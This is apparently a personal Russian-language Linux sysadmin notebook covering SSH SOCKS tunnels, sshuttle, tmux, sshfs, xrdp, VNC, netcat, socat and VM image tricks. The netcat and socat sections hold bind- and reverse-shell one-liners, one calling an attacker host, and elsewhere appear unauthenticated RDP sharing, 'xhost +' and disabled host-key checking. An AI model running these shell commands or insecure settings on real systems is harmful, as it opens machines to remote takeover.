-n Перенаправляет стандартный ввод из /dev/null (фактически, предотвращает чтение из стандартного ввода).
-N Не выполнять удаленную команду.
-D [локальный IP : ] порт
-p указывает, какой порт использовать; очевидно, это значение по умолчанию равно 22, поэтому приведенное выше утверждение не имеет смысла, но включено для ясности.

Например:

ssh -f -C2qTnN -D 1080 roman@8.8.8.8
После введения пароля к удаленному серверу, SSH перейдёт в фоновый режим.

Далее вам следует открыть любой браузер, в котором прописать адрес SOCKS 5 прокси в параметрах соединения.

Для примера я взял Firefox.
Идём «Правка» → «Настройки» → вкладка «Дополнительно» → вкладка «Сеть» → раздел «Соединение» → кнопка «Настроить»
Устанавливаем там пункт «Ручная настройка сервиса прокси», в поле «Узел SOCKS» пишем наш IP адрес (обычно 127.0.0.1), а в поле «Порт» — указанный порт (в примере 1080).
Ставим ключ на пункт «SOCKS 5» и применяем настройки.

Как мне настроить локальный SOCKS прокси, который туннелирует трафик через SSH?

Как настроить прокси через туннель SSH в Ubuntu: примеры с Firefox и Chrome
создайте прокси SOCKS на локальном хосте: 9999 (выберите любой неиспользуемый порт) через соединение SSH с портом , используя имя пользователя [Unknown site tag]. Вам может быть предложено ввести пароль.
Фактический пример:
$ ssh -D 9999 -f -C -N johndoe@path.to.proxy.server.edu -p 52831

SSH через HTTP прокси
http://www.zeitoun.net/articles/ssh-through-http-proxy/start
https://www.math.ucla.edu/computing/kb/creating-ssh-proxy-tunnel-putty


mosh
https://mosh.org/
Инструмент Mosh — альтернативный вариант для SSH и как его использовать
Mosh — SSH с блекджеком и роумингом
Утилита Mosh как замена SSH
законектится
$ mosh user_name@my_host.com

Запустить интерактивную команду вместо $SHELL:
$ mosh my_host.com htop

Использование другого порта для сессии на сервере:
$ mosh --ssh="ssh -p 2213" my_host.com

mosh --ssh="/bin/ssh -MY_FAVOURITE_SSH_OPTION" host

tmux
https://wiki.archlinux.org/index.php/Tmux_(Русский)
Краткая шпаргалка по tmux (менеджеру терминалов)
Tmux — что это и зачем? Обзор и урок tmux
GNU Screen и tmux: ключ к эффективному использованию консоли
Шпаргалка по работе с Tmux (терминальный мультиплексор)
Поддержка мышки в Midnight Commander запущенного из под tmux/screen

небольшой конфигурационный файл:
$ vi ~/.tmux.conf




vi ~/.profile




$ tmux source-file ~/.tmux.conf
кратко
для подключения обратно используется другой аргумент командной строки:
$ tmux attach

для перехода к предыдущему окну следует использовать следующую команду:
$ tmux last-window

А для создания окна такую:
$ tmux new-window

Весь перечень поддерживаемых команд можно получить так:
$ tmux list-commands

Получить список всех возможных опций можно так:
$ tmux show-options
$ tmux show-window-options

Очень хороший способ запустить tmux:
tmux attach || tmux new — делая так, вы сперва пытаетесь подключиться к уже существующему серверу tmux, если он существует; если такого ещё нет — создаёте новый.
tmux new -s session1 - создание сессии с именем session1
tmux attach -t session1 - подключение к сессии session1
tmux a -t session1
Ctrl+b s Выбрать сессию
tmux kill-session -t session1 - Завершение сессии

После этого вы попадаете в полноценную консоль.
Ctrl+b d — отключиться. (Точно так же вы отключитесь, если прервётся соединение. Как подключиться обратно и продолжить работу — см. выше.)

В одной сессии может быть сколько угодно окошек:
Ctrl+b c — создать окошко;
Ctrl+b 0...9 — перейти в такое-то окошко;
Ctrl+b p — перейти в предыдущее окошко;
Ctrl+b n — перейти в следующее окошко;
Ctrl+b l — перейти в предыдущее активное окошко (из которого вы переключились в текущее);
Ctrl+b & — закрыть окошко (а можно просто набрать exit в терминале).

В одном окошке может быть много панелей:
Ctrl+b % — разделить текущую панель на две, по вертикали;
Ctrl+b " — разделить текущую панель на две, по горизонтали (это кавычка, которая около Enter, а не Shift+2);
Ctrl+b →←↑↓ — переходить между панелями;
Ctrl+b x — закрыть панель (а можно просто набрать exit в терминале).

Недостаток — непривычным становится скроллинг:
Ctrl+b PgUp — вход в «режим копирования», после чего:
PgUp, PgDown — скроллинг;
q — выход из «режима копирования».

работа с tmux
Старт
# tmux //без параметров будет создана сессия 0
# tmux new -s session1 //новая сессия session1. Название отображается снизу-слева в квадратных скобках в статус строке. Далее идет перечисление окон. Текущее окно помечается звездочкой.

Префикс (с него начинаются команды)
<C-b> (CTRL + b)

Новое окно (нажать CTRL+b, затем нажать с)
<C-b c>

Список окон
<C-b w> // переключиться курсором вверх-вниз

Переключение
<C-b n> // следующее окно
<C-b p> // предыдущее окно
<C-b 0> // переключиться на номер окна

Окна можно делить на панели (Panes)
Как в тайловых (мозаичных) оконных менеджерах.

Деление окна горизонтально
<C-b ">
либо команда
# tmux split-window -h

Деление окна вертикально
<C-b %>
либо команда
# tmux split-window -v

Переход между панелей
<C-b стрелки курсора> // либо режим мыши

Изменение размеров панелей
<C-b c-стрелки> // либо режим мыши

Закрытие окон
<C-b x> // нужно подтвердить y
либо
# exit

Отключение от сессии
<C-b d>
либо
# tmux detach

Список сессий
# tmux ls

Подключиться к работающей сессии
# tmux attach //подключение к сессии, либо к единственной, либо последней созданной
# tmux attach -t session1 // подключение к сессии session1

Выбрать сессию
<C-b s>

Завершение сессии
# tmux kill-session -t session1

Завершить все сессии
# tmux kill-server

Список поддерживаемых комманд
# tmux list-commands

Дополнительная информация
# man tmux

Магия ssh
Доступ к ssh серверу через очень зарегулированное подключение
Shellinabox — если вдруг заблокируют SSH
https://github.com/sshuttle/sshuttle
https://www.stunnel.org/config_unix.html
https://github.com/erebe/wstunnel
https://github.com/tsl0922/ttyd
https://github.com/stuicey/SSHy
https://xtermjs.org/

Использование утилиты tar по сети через SSH

SSLH
http://rutschle.net/pipermail/sslh/
Краткий экскурс в sslh
SSLH - МУЛЬТИПЛЕКСОР SSL / SSH
Мультиплексирование ssl/ssh соединений через один 443 порт
SSLH: Прячем SSH/HTTPS/OpenVPN/Telegram за единым портом 443
SSLH: Запускаем SSH, OpenVPN, HTTPS, Socks5 и MTProto-proxy на 443 порту

ssh VPN
https://github.com/anderspitman/awesome-tunneling
SSH-туннель вместо белого IP: как получить доступ к домашнему серверу
Выполнение UDP-туннелирования через SSH-соединение
VPN через SSH

https://www.stunnel.org/
Stunnel на сервере и клиенте

Shellinabox — если вдруг заблокируют SSH
SSH через Xray

Превращаем любой SSH-сервер в полноценный VPN с помощью утилиты sshuttle
sshuttle --dns -r user@ip_сервера_или_доменное_имя 0.0.0.0/0

https://github.com/sshuttle/sshuttle
https://sshuttle.readthedocs.io/en/stable/

pip install sshuttle

создаем скрипт с именем типа vpn.sh:



Здесь eax и 11.22.33.44 нужно заменить на имя пользователя и IP-адрес вашего сервера.

Далее говорим:
chmod u+x ./vpn.sh
sudo ./vpn.sh

… и ждем появления строчки:
client: Connected.

Проверяем, что все работает:
curl https://eax.me/ip/

В ответ должен прийти IP-адрес использованного SSH-сервера. Также проверяем, что используется DNS-сервер, указанный в переменной $DNS:
dig eax.me

В ответ должно прийти что-то вроде:
...
;; Query time: 20 msec
;; SERVER: 8.8.8.8#53(8.8.8.8)

… где 8.8.8.8 — это выбранный нами DNS-сервер. В данном случае это сервер компании Google.

Напоследок вот вам несколько занимательных фактов о sshuttle:

Чтобы все работало, на сервере не требуются ни root, ни sudo;
Утилита не ломается, если попытаться сделать VPN внутри VPN;
Также вы можете использовать ее совместно с OpenVPN или каким-нибудь Tor;


доступ к узлам за NAT или с динамическим IP
https://github.com/gjedeer/tuntox
./tuntox -i -L 2222:127.0.0.1:22
ssh -p 2222 myuser@localhost
ssh -o ProxyCommand='./tuntox -i -W localhost:22' gdr@localhost


SSHFS
https://wiki.archlinux.org/title/SSHFS_(Русский)
https://sysadminium.ru/mount-sshfs/
Монтирование удаленной директории с помощью sshfs. Часть 2 из 2
Подключение и настройка SSHFS в Linux
Как настроить SSH вход без пароля

sudo apt install sshfs fuse

Чтобы получить возможность монтировать от имени обычного пользователя необходимо создать группу fuse:
sudo groupadd fuse
sudo usermod -aG fuse $USER
либо sudo vim /etc/fuse.conf
user_allow_other
тогда монтирование будет с опцией sshfs -o allow_other

Аутентификация по ключу
ssh-keygen -t rsa -b 4096 -C "your_email@domain.com"
ssh-copy-ide [remote_username]@[server_ip_address]
Открытый ключ автоматически копируется в файл .ssh/authorized_keys

sshfs [remote_username]@[server_ip_address]:/patch /mnt/stor/
sshfs -o ssh_command='ssh -q -o BatchMode=yes -o StrictHostKeyChecking=no' server_ip_address:/patch /mnt/stor/

Если по каким-то причинам нельзя настроить аутентификацию по ключу, можно использовать утилиту sshpass. Опция -f для утилиты sshpass говорит о том, что пароль доступа к серверу сохранен в файле ~/server.pass
sshfs -f -o allow_other developer@123.123.123.123:/var/www/ /home/evgeniy/var-www/

отмонтировать
fusermount -u /opt/repo

vim /etc/fstab
USERNAME@HOSTNAME_OR_IP:/REMOTE/DIRECTORY /LOCAL/MOUNTPOINT fuse.sshfs defaults,_netdev 0 0



установка XRDP, VNC и SSH на Ubuntu и Debian 2

XRDP

usermod -aG audio,video пользователь

sudo apt install xrdp
sudo dpkg-reconfigure xserver-xorg-legacy

Xrdp настройка Xfce sevo44-1



выбираем "кто угодно"

sudo mv /etc/xrdp/startwm.sh /etc/xrdp/startwm.sh.BACKUP
sudo nano /etc/xrdp/startwm.sh




Важно! Обратите внимание на тот факт, что в конце файла необходимо добавить пустую строку.

sudo chmod +x /etc/xrdp/startwm.sh

hwinfo |grep XkbModel

sudo mv /etc/xrdp/xrdp_keyboard.ini /etc/xrdp/xrdp_keyboard.ini.BACKUP
sudo nano /etc/xrdp/xrdp_keyboard.ini




echo xterm > ~/.xsession # ( если этого файла нет домашнем каталоге)
sudo service xrdp restart

systemctl is-enabled xrdp # проверить есть ли в автозагрузке
systemctl disable xrdp # убрать из автозагрузки
systemctl enable xrdp # добавить в автозагрузку
systemctl start xrdp # запустить

rdesktop -z -P -g 1280x1024 127.0.0.1 -k en-us

если ошибки с локалью, то вбить export LANG=ru_RU.utf8

если возникает ошибка невозможно получить доступ к '/home/пользователь/thinclient_drives': Отказано в доступе
то sudo umount -f thinclient_drives
после этого вы должны переименовать thinclient_drives в .thinclient_drives

vi (m) /etc/xrdp/sesman.iniфайл.
В [Chansrv] добавить: FuseMountName=/tmp/%u/thinclient_drives
Выйдите из системы и войдите снова. Теперь thinclient_drives будут смонтированы /tmp/{uid}/thinclient_drives.
Можно rmdir thinclient_drives в своем хомедире.

ошибка при запуске с sudo или su
"Не удалось подключиться к: В соединении отказано Ошибка инициализации GTK."
вбить
xhost si:localuser:root
после
sudo программа
или что безопасней
export XAUTHORITY=$HOME/.Xauthority
sudo программа

запуск графических приложений из snap

nano /etc/xrdp/sesman.ini
env | grep DBUS
sudo lshw -C display
xwininfo -tree -root
echo $DISPLAY

sudo lshw -C display
ps -ef | grep Xorg
pkexec env DISPLAY=$DISPLAY XAUTHORITY=$XAUTHORITY программа
export PATH="/snap/bin/:$PATH"
Xvfb -ac :10 -screen 0 1280x1024x16 & export DISPLAY=:10

xhost +
xhost +local:
xhost +si:localuser:root
xhost +si:localuser:пользователь

ssh username@hostname -X
ssh username@hostname -Y
export DISPLAY='IP:0.0'
export DISPLAY="127.0.0.1:10.0"

запуск хрома
export PATH="/snap/bin/:$PATH"
echo $DISPLAY
xhost +si:localuser:пользователь
export DISPLAY=:10 && chromium &


https://sevo44.ru/xrdp-terminalnyj-server-linux/#Debian_9
https://hostiq.ua/wiki/install-rdp-server/#2_5
https://wiki.yola.ru/xrdp:xrdp

VPS на Linux с графическим интерфейсом: запускаем сервер RDP на Ubuntu 18.04
Удаленный доступ. Обобщил себе на память.
Ошибка cannot open display в Linux
Docker: запуск графических приложений в контейнерах

FreeBSD 12 xrdp
FreeBSD + xRDP + WINE или Терминальный сервер для 1С в AD
xrdp_keyboard.ini



В пользовательской директории создаем файл .startwm.sh с таким содержимым:



Добавляем в /etc/rc.conf

xrdp_enable="YES"
xrdp_sesman_enable="YES"

И запускаем, service xrdp allstart, которая запустит ещё и сервис xrdp_sessman.

freerdp-shadow
Как установить и запустить RDP сервер в Linux
sudo apt install freerdp2-shadow-x11 winpr-utils

Чтобы запустить RDP сервер вовсе без аутентификации используйте опцию -auth:
freerdp-shadow-cli -auth

Если аутентификация включена, PAM используется с подсистемой X11
чтобы запустить freerdp-shadow с поддержкой NLA необходимо создать файл, в котором будет строка вида:
ПОЛЬЗОВАТЕЛЬ:::ХЕШ:::
Имя пользователя Linux нам известно, для вычисления хеша нужно выполнить команду вида:
winpr-hash -u ПОЛЬЗОВАТЕЛЬ -p ПАРОЛЬ

К примеру, имя пользователя mial, а пароль цифра 2 тогда команда следующая:
winpr-hash -u mial -p 2

Получен хеш:
8f33e2ebe5960b8738d98a80363786b0

Создаём текстовый файл SAM и в него записываем строку
mial:::8f33e2ebe5960b8738d98a80363786b0:::

Теперь запускаем freerdp-shadow-x11 с двумя опциями:
/sam-file:ФАЙЛ — указывает на расположение NTLM SAM файла для NLA аутентификации
/sec:nla — принудительное включение аутентификации по протоколу NLA

Итак, моя команда следующая:
freerdp-shadow-cli /sam-file:SAM /sec:nla

Для того, чтобы делиться не всем экраном, а только его частью, используйте опцию /rect:x,y,w,h. Где:

x,y — координаты верхнего левого угла прямоугольника
w — ширина прямоугольника
h — высота прямоугольника

К примеру, чтобы делиться частью экрана 500×500 пикселей с координатами 200,300:
freerdp-shadow-cli /sam-file:SAM /sec:nla /rect:200,300,500,500

Ошибка freerdp-shadow «client authentication failure: -1»
То необходимо создать файл SAM и запустить freerdp-shadow с опциями /sam-file:SAM /sec:nla как это показано выше.


Xnest Xephyr
https://wiki.archlinux.org/index.php/Xorg
https://www.sysadminwiki.ru/wiki/Удалённый_рабочий_стол_Linux
https://xneur.ru/settings
Удаленный доступ по XDMCP (удаленное подключение к рабочему столу) Ubuntu/Debian
Х из init 3
На третьем уровне инициализации/выполнения (init 3) выполнить:
X -query 10.0.0.111

Чтобы запустить вложенный сеанс другой среды рабочего стола:
$ /usr/bin/Xnest :1 -geometry 1024x768+0+0 -ac -name Windowmaker & wmaker -display :1
$ Xephyr :1 -geometry 1024x768+0+0 -ac -name Windowmaker & wmaker -display :1
Это запустит сеанс Window Maker в окне 1024 на 768 в текущем сеансе X.
опция -ac позволяет удалённым клиентам подключаться к вашему X-серверу
$ Xephyr -query localhost -screen 800x600 :1 Если localhost – это XDMCP сервер, 800x600 – требуемое разрешение, а :1 – номер дисплея (можно использовать любой свободный номер)
в одном окне консоли вбить Xephyr :2
в другом xterm -display :2
Xephyr :2 -geometry 1280x1024+0+0 -resizeable &
DISPLAY=:2 fvwm1 &
Xephyr -terminate -query 192.168.1.116 :1 -screen 1280x1024
ssh andy@host.com -XYC “Xephyr :1 -query localhost –screen 800x600”
Xephyr :1 -query 192.168.0.111 -screen 800x600
Xephyr :2 -screen 1024x768+0+0 -resizeable & fluxbox -display :2
Xephyr :2 -geometry 1280x1024+0+0 -resizeable & fluxbox -display :2

XDMCP
Подключение к рабочему столу Linux Ubuntu с использованием XDMCP.
Настройка XDMCP, удаленного подключения к рабочему столу Linux

nano /etc/lightdm/lightdm.conf
Для разрешения TCP-подключений к графическому серверу X11, нужно в файл конфигурации lightdm.conf добавить строку :
xserver-allow-tcp=true

Для разрешения удаленных подключений к менеджеру дисплея нужно добавить секцию
[XDMCPServer]
enabled=true

service lightdm restart
netstat –na | more

XDMCP и принимает входящие подключения на UDP порт 177 (по умолчанию) , а графический сервер (сервер X11 ) – принимает входящие подключения на порт 6000/TCP

Xpra
https://xpra.org/index.html
https://github.com/Xpra-org/xpra
https://wiki.archlinux.org/title/Xpra
https://www.altlinux.org/Xpra
xpra - утилита удаленного запуска графических приложений
https://winswitch.org/downloads/
Учимся переносить запущенные программы с одного компьютера на другой

VNC
TigerVNC
https://docs.slackware.com/howtos:window_managers:vnc
Как настроить и использовать сервер TigerVNC в Linux
sudo apt install tigervnc-standalone-server tigervnc-viewer tigervnc-xorg-extension
vim ~/.vnc/xstartup



vncpasswd # создать пароль для TigerVNC сервера
запуск
vncserver :1 # запустить на 1 виртуальном столе
Пароль для аутентификации на сервере будет взят из файла $HOME/.vnc/passwd

vncserver -list # список запущенных рабочих столов с VNC
vncserver -kill :1 # убить сессию
vncconfig -display :1 -list # список опций VNC
ss -tulp # посмотреть порт запуска
vncviewer -listen 5901 # подключиться
gvncviewer ip_address:1 # адрес:дисплей

x11vns
рецепт 1
Подключаемся к удалённому рабочему столу по VNC на этапе экрана авторизации (GDM, KDM, Lightdm, MDM)

установим x11vnc:
sudo apt-get install x11vnc

Создадим файл с паролем для авторизации:
sudo x11vnc -storepasswd /etc/x11vnc.pass

vnc сервера используют 5900 порт
iptables -A INPUT -p tcp -m tcp --dport 5900 -j ACCEPT
ufw allow 5900

Запустим x11vnc:
sudo x11vnc -display :0 -rfbauth /etc/x11vnc.pass -rfbport 5900 -o /var/log/x11vnc.log

проверим:
vncviewer localhost

service x11vnc start

Быстрая настройка x11vnc
Устанавливаем x11vnc
sudo apt-get install x11vnc

Генерируем пароль для доступа:
x11vnc -storepasswd

При использовании LightDM
После установки x11vnc создайте файл /etc/init/x11vnc.conf, в который добавьте следующий код:



если не работает то
https://qastack.ru/ubuntu/229989/how-to-setup-x11vnc-to-access-with-graphical-login-screen

работающие скрипты:
скрипт гасится сам



нужно гасить pkill x11vnc



запускать как службу
mcedit /lib/systemd/system/x11vnc.service


systemctl daemon-reload
service x11vnc start
service x11vnc status
service x11vnc enable

рецепт 2 попроще, для ubuntu
https://www.crazy-logic.co.uk/projects/computing/how-to-install-x11vnc-vnc-server-as-a-service-on-ubuntu-20-04-for-remote-access-or-screen-sharing

sudo apt-get install lightdm
sudo reboot
sudo apt-get install x11vnc

vi /lib/systemd/system/x11vnc.service



systemctl daemon-reload
systemctl enable x11vnc.service
systemctl start x11vnc.service
systemctl status x11vnc.service


рецепт 3, без systemd
x11vnc -storepasswd "пароль" /etc/x11vnc.pass
sudo chmod ugo+r /etc/x11vnc.pass
sudo -u $USER x11vnc -noxdamage -shared -dontdisconnect -many -noxfixes -rfbauth /etc/x11vnc.pass -auth guess


Как настроить VNC сервер x11vnc

в NetBDS, OpenBSD и FreeBSD:
pkgin install x11vnc
startx -display :0 &
x11vnc -display :0

ошибки
когда light-locker блокирует экран, то видно чёрное окно и не войти
https://bugs.launchpad.net/ubuntu/+source/light-locker/+bug/1287171
https://www.linux.org.ru/forum/admin/12755272
https://www.linux.org.ru/forum/general/13664036/page1#comments
https://github.com/pekmop1024/x11vnc-light-locker/blob/master/usr/local/bin/x11vnc-wrapper

вместо light-locker установить xscreensaver


VNC в веб-браузере
Как получить доступ к удаленному рабочему столу VNC в веб-браузере
качается https://github.com/novnc/noVNC/archive/refs/tags/v1.2.0.tar.gz
в нём есть launch.sh
распаковывается tar -xavf v1.2.0.tar.gz
качается https://github.com/novnc/websockify/archive/refs/tags/v0.11.0.tar.gz в распакованную $HOME/noVNC-1.2.0/utils
распаковывается tar -xavf v1.2.0.tar.gz
переименовывается
mv websockify-0.11.0/ websockify
затем запускается
./utils/launch.sh --vnc 0.0.0.0:5900
распаковать можно куда угодно, например в /opt
открыть в браузере
http://ip_адрес_сервера:6080/vnc.html?host=dit-st-unstable&port=6080
нажать на шестерёнку "Настройки", "Дополнительно", "WebSocket", "Сервер:" - прописать ip_адрес_сервера


VPN
ssh VPN
VPN через SSH
https://www.stunnel.org/
Stunnel на сервере и клиенте

Shellinabox — если вдруг заблокируют SSH
SSH через Xray

Превращаем любой SSH-сервер в полноценный VPN с помощью утилиты sshuttle
sshuttle --dns -r user@ip_сервера_или_доменное_имя 0.0.0.0/0

https://github.com/sshuttle/sshuttle
https://sshuttle.readthedocs.io/en/stable/

pip install sshuttle

создаем скрипт с именем типа vpn.sh:



Здесь eax и 11.22.33.44 нужно заменить на имя пользователя и IP-адрес вашего сервера.

Далее говорим:
chmod u+x ./vpn.sh
sudo ./vpn.sh

… и ждем появления строчки:
client: Connected.

Проверяем, что все работает:
curl https://eax.me/ip/

В ответ должен прийти IP-адрес использованного SSH-сервера. Также проверяем, что используется DNS-сервер, указанный в переменной $DNS:
dig eax.me

В ответ должно прийти что-то вроде:
...
;; Query time: 20 msec
;; SERVER: 8.8.8.8#53(8.8.8.8)

… где 8.8.8.8 — это выбранный нами DNS-сервер. В данном случае это сервер компании Google.

Напоследок вот вам несколько занимательных фактов о sshuttle:

Чтобы все работало, на сервере не требуются ни root, ни sudo;
Утилита не ломается, если попытаться сделать VPN внутри VPN;
Также вы можете использовать ее совместно с OpenVPN или каким-нибудь Tor;

https://github.com/Nyr/openvpn-install
https://github.com/Nyr/wireguard-install
Свой VPN сервер на Wireguard с помощью Docker

OpenVPN
Бесплатный VPN сервер, клиент, и тд
vpn pptp openvpn centos7
настройка клиента openvpn
Генерация ключей OpenVPN

sudo service openvpn start
sudo service openvpn status
sudo service openvpn stop
sudo service openvpn status
ps aux | grep -v grep | grep openvpn

https://www.oracle.com/cloud/free/

proxy
Практические советы, примеры и туннели SSH
https://archive.is/tfGcr
SSH-туннели: практические примеры использования и важные функции
Простой браузерный VPN через SSH

ssh -D localhost:2080 -q -C -N root@IP_СЕРВЕРА -p НЕСТАНДАРТНЫЙ_ПОРТ_SSH
-D localhost:2080: устанавливаем локальный прокси-сервер SOCKS5 на вашем компьютере.

опции
-q: тихий режим (quiet mode).
-C: сжатие данных (compression).
-N: указываем SSH не выполнять удалённые команды.
-f — запускает SSH в фоне (после аутентификации возвращает управление терминалу)
-p ПОРТ: указываем нестандартный порт для подключения к удалённому серверу.

проверка
localhost:~$ netstat -pan | grep 2080

чтобы позволить другим программам в нашей сети подключаться к прокси-сервису через ssh socks-прокси, включая ethernet или wifi
ssh -D 0.0.0.0:8888 user@remoteserver

пример
ssh -fND 7001 пользователь@ip_адрес_сервера
chromium --proxy-server=socks5://localhost:7001
-D 7001 — создаёт динамический (SOCKS) прокси на локальном порту 7001

Ограничения
Трафик через туннель проходит только у тех приложений, которые явно настроены на использование прокси. SOCKS5 работает только с TCP-соединениями, UDP не поддерживается

Чтобы предотвратить утечку через WebRTC в Chromium, добавьте флаг:
chromium --proxy-server=socks5://localhost:7001 --disable-webrtc

ssh -fND 7001 пользователь@ip_адрес_сервера
Затем выполните любую команду через proxychains:
proxychains curl ifconfig.me
Предварительно убедитесь, что в файле /etc/proxychains.conf или ~/.proxychains/proxychains.conf указано:
socks5 127.0.0.1 7001

Работа с сетевыми дисками
Работа с NFS
1. установите nfs-common
sudo apt install nfs-common
2. сделайте точку монтирования
mkdir -p /media/nfs-server
3.
подключите общий ресурс сервера к каталогу mount SERVER-IP-ADDRESS:/SERVER_SHARE_NAME/ media/nfs-server
mount :/volume1/music /media/nfs-server
4. Просмотрите смонтированный каталог.
ls /media/nfs-server

Если вы хотите сделать этот ресурс постоянно смонтированным, вы можете добавить его в свой /etc/fstab, например
SERVER-IP-ADDRESS:/SERVER_SHARE_NAME/media/nfs-server nfs rw 0 0


проверка открытых портов
netstat -ltup; netstat -lntup; netstat -lntupc
ss -lntu; ss -lntup
nmap -n -Pn -sS -sU -p- localhost
lsof -i; lsof -i :80

netcat передача данных, тестирование соединений
Как использовать Netcat для тестирования соединений TCP и UDP
Как пользоваться netcat (nc), ncat
Обратная инженерия сетевого трафика
Полезные трюки при работе с netcat

Чат между узлами
На первом узле (192.168.1.100):
nc -lp 9000
На втором узле:
nc 192.168.1.100 9000

Реверс-шелл
nc -e /bin/bash -lp 4444
соединиться с удаленного узла:
nc 192.168.1.100 4444

веб-сервер для отображения html странички.
while true; do nc -lp 8888 < index.html; done


UDP передать данные
cat ФАЙЛ | ncat -u -C IP-АДРЕС ПОРТ
получить эти данные
ncat -u -l IP-АДРЕС ПОРТ

TCP передать данные
nc хост порт < filename
{ cat ФАЙЛ1 ФАЙЛ2 ФАЙЛ3 ФАЙЛ4; cat;} | ncat -C IP-АДРЕС ПОРТ
{ cat ФАЙЛ{1..4}; cat;} | ncat -C IP-АДРЕС ПОРТ
приём
nc -l порт > filename

копирование зашифрованного диска
https://habr.com/ru/articles/800455/
# Получатель
nc -l 4444 | pbzip2 -d | dd of=/dev/nvme0n1 obs=1M
# Отправитель
pv /dev/nvme0n1 | pbzip2 -9 | nc DESTIP 4444

Как сделать прокси на виртуальном хостинге
локальном компьютере, в одной консоли запускаем прокси:
ncat -vvv -l 34567 --proxy-type http
и в другой консоли запрос через этот прокси:
curl -s --proxy localhost:34567 'https://hackware.ru'


Socat
Сетевой pivoting: понятие, примеры, техники, инструменты

Шелл
Установка слушателя:
socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane

Подключение к слушателю:
socat FILE:`tty`,raw,echo=0 TCP:<victim_ip>:1337

Обратный шелл
Установка слушателя:
socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0

Подключение к машине атакующего
socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane

Размер терминала
По умолчанию размер терминала довольно мал, как вы можете заметить при запуске команды top или редактировании файлов в текстовом редакторе. Вы можете легко изменить это, используя команду stty -a, чтобы получить размер вашего обычного терминала:
stty -a
speed 38400 baud; rows 57; columns 211; line = 0;

Примените нужный размер к вашему терминалу socat:
stty rows 57 cols 211

ссылки
разница между DE и WM, а также работа в голых иксах
скриншоты в иксах и консоли, разрешение экрана в tty
Установка xrdp на CentOS 7

https://debian-handbook.info/browse/ru-RU/stable/sect.remote-login.html
Настройка сервера VNC и RDP совместно с LightDM
VNC в Linux: настройка сервера и клиента
Всё о RDP: от настройки до взлома
sshprank: массовая проверка учётных данных SSH и быстрый сбор SSH баннеров
https://wiki.x2go.org/doku.php
Организуем себе безопасное рабочее место на удаленной виртуалке при помощи x2go
Настройка Ubuntu Linux в качестве терминального сервера x2go
LTSP: Терминальный сервер на Linux
LTSP: Терминальный сервер на Linux
делаем vim удобным
рабочий стол в консоли
изменение времени файлов, удаление истории посещения и команд в linux



ознакомиться
с хабра
proxMox — если в одинокий разраб или небольшая конторка и вам нужно несколько виртуалочек с php/node.js + mysql/postgres

openCloud/openNebula — если вы контора побольше и у вы готовы уделить пару часов в день вашего админа для его обслуживания.

openStack — если у вас куда больше 20 серверов и 10-и админов и вы готовы взять себе еще столько же админов/разрабов чтобы они решали его проблемы либо купить услуги конторы что приготовит его для вас.


Общее
Настольная книга администратора Debian 12.2. Виртуализация

Foreman — менеджер процессов для ваших веб-приложений
https://ru.wikibooks.org/wiki/Puppet
Как стать кукловодом или Puppet для начинающих
Разбираем методы проксирования на основе HAProxy
Балансировка нагрузки с помощью HAProxy

Теория аппаратной виртуализации
Управление виртуальными машинами с помощью VirtualBox
Введение в систему управления виртуальными машинами Vagrant
Управление виртуальными машинами с помощью virsh
Управление виртуальными машинами с помощью virsh
Введение в систему управления виртуальными машинами docker-machine
https://www.bsdstore.ru/ru/about.html
Учебник Kubernetes
Использование средств автоматизации инфраструктуры на виртуальных машинах в Azure
CoreOS — Linux для минималистичных кластеров. Коротко
Разворачиваем Своё Облако в облаке. Установка CoreOS
Автоматическая установка с kickstart (uzverss установка dokuwiki centos php nginx)

Установка и настройка VMmanager 5 на Linux
------------------------------------------------------------------------
Пространства имён
Network namespace - виртуальный сетевой стек в linux
Примеры применения Linux network namespaces (netns)

работа с сетевыми интерфейсами
обзор пользовательских пространств имён Linux
user_namespaces

Глубокое погружение в Linux namespaces Часть 1
Глубокое погружение в Linux namespaces Часть 2
Глубокое погружение в Linux namespaces Часть 3
Глубокое погружение в Linux namespaces Часть 4

Методика безопасности, нейтрализующая угрозу эксплуатации уязвимости ядра linux
Для нейтрализации угрозы эксплуатации уязвимости ядра linux необходимо запретить непривилегированным пользователям создавать новые пространства имен пользователей, установив значение параметра ядра kernel.unprivileged_userns_clone равным "0". Чтобы проверить текущее значение параметра ядра необходимо выполнить команду:

sudo sysctl kernel.unprivileged_userns_clone
cat /proc/sys/kernel/unprivileged_userns_clone

Параметр ядра kernel.unprivileged_userns_clone может принимать следующие значения:
0 — в случае, когда непривилегированным пользователям запрещено создавать новые пространства имен пользователей;
1 — в случае, когда непривилегированным пользователям разрешено создавать новые пространства имен пользователей.
Для того чтобы временно (до перезагрузки системы) запретить непривилегированным пользователям создавать новые пространства имен пользователей, необходимо выполнить команду:

sudo sysctl -w kernel.unprivileged_userns_clone=0

Для того чтобы установленное значение параметра ядра сохранилось после перезагрузки, необходимо:

Добавить в файл /etc/sysctl.d/999-astra.conf следующую строку:

kernel.unprivileged_userns_clone = 0
Это можно сделать следующей командой:

echo "kernel.unprivileged_userns_clone = 0" | sudo tee -a /etc/sysctl.d/999-astra.conf
Перезагрузить параметры ядра, выполнив команду:

sudo sysctl --system

------------------------------------------------------------------------


средства конвертирования
virt-p2v
готовые образы virt-p2v для Virtuozzo virtual machine
VMware vCenter Converter Standalone
Disk2vhd

образы OS

всякие шероховатости
https://help.ubuntu.com/community/UEC/Images

CentOS 7 cloud kvm image password
https://access.redhat.com/discussions/664843

1) Переходим в /var/lib/libvirt/images/
2) sudo virt-sysprep -a Centos-7-x86_64-GenericCloud.qcow2 --root-password password:PASSW0RD --uninstall cloud-init
где PASSW0RD это пароль root
3) Создаем виртуальную машину на основе этого образа
4) Логинимся со своим паролем

либо
$ sudo apt install libguestfs-tools
# guestfish --rw -a ./CentOS-7-x86_64-GenericCloud.qcow2
><fs> run
><fs> list-filesystems
><fs> mount /dev/sda1 /
><fs> vi /etc/shadow

root:!!:17667:0:99999:7:::
удалить !! между ::
можно вставить сгенерированный пароль
# openssl passwd -1 changeme
$1$QiSwNHrs$uID6S6qOifSNZKzfXsmQG1

отмонтировать
><fs> umount /dev/sda1
выйти
><fs> quit


сброс пароля
http://www.oldnix.org/reset-password-root-linux/

не ставится docker на ubuntu 18.04
sudo vi /etc/apt/sources.list
deb [arch=amd64] https://download.docker.com/linux/ubuntu bionic nightly


витруальный сетевой интерфейс
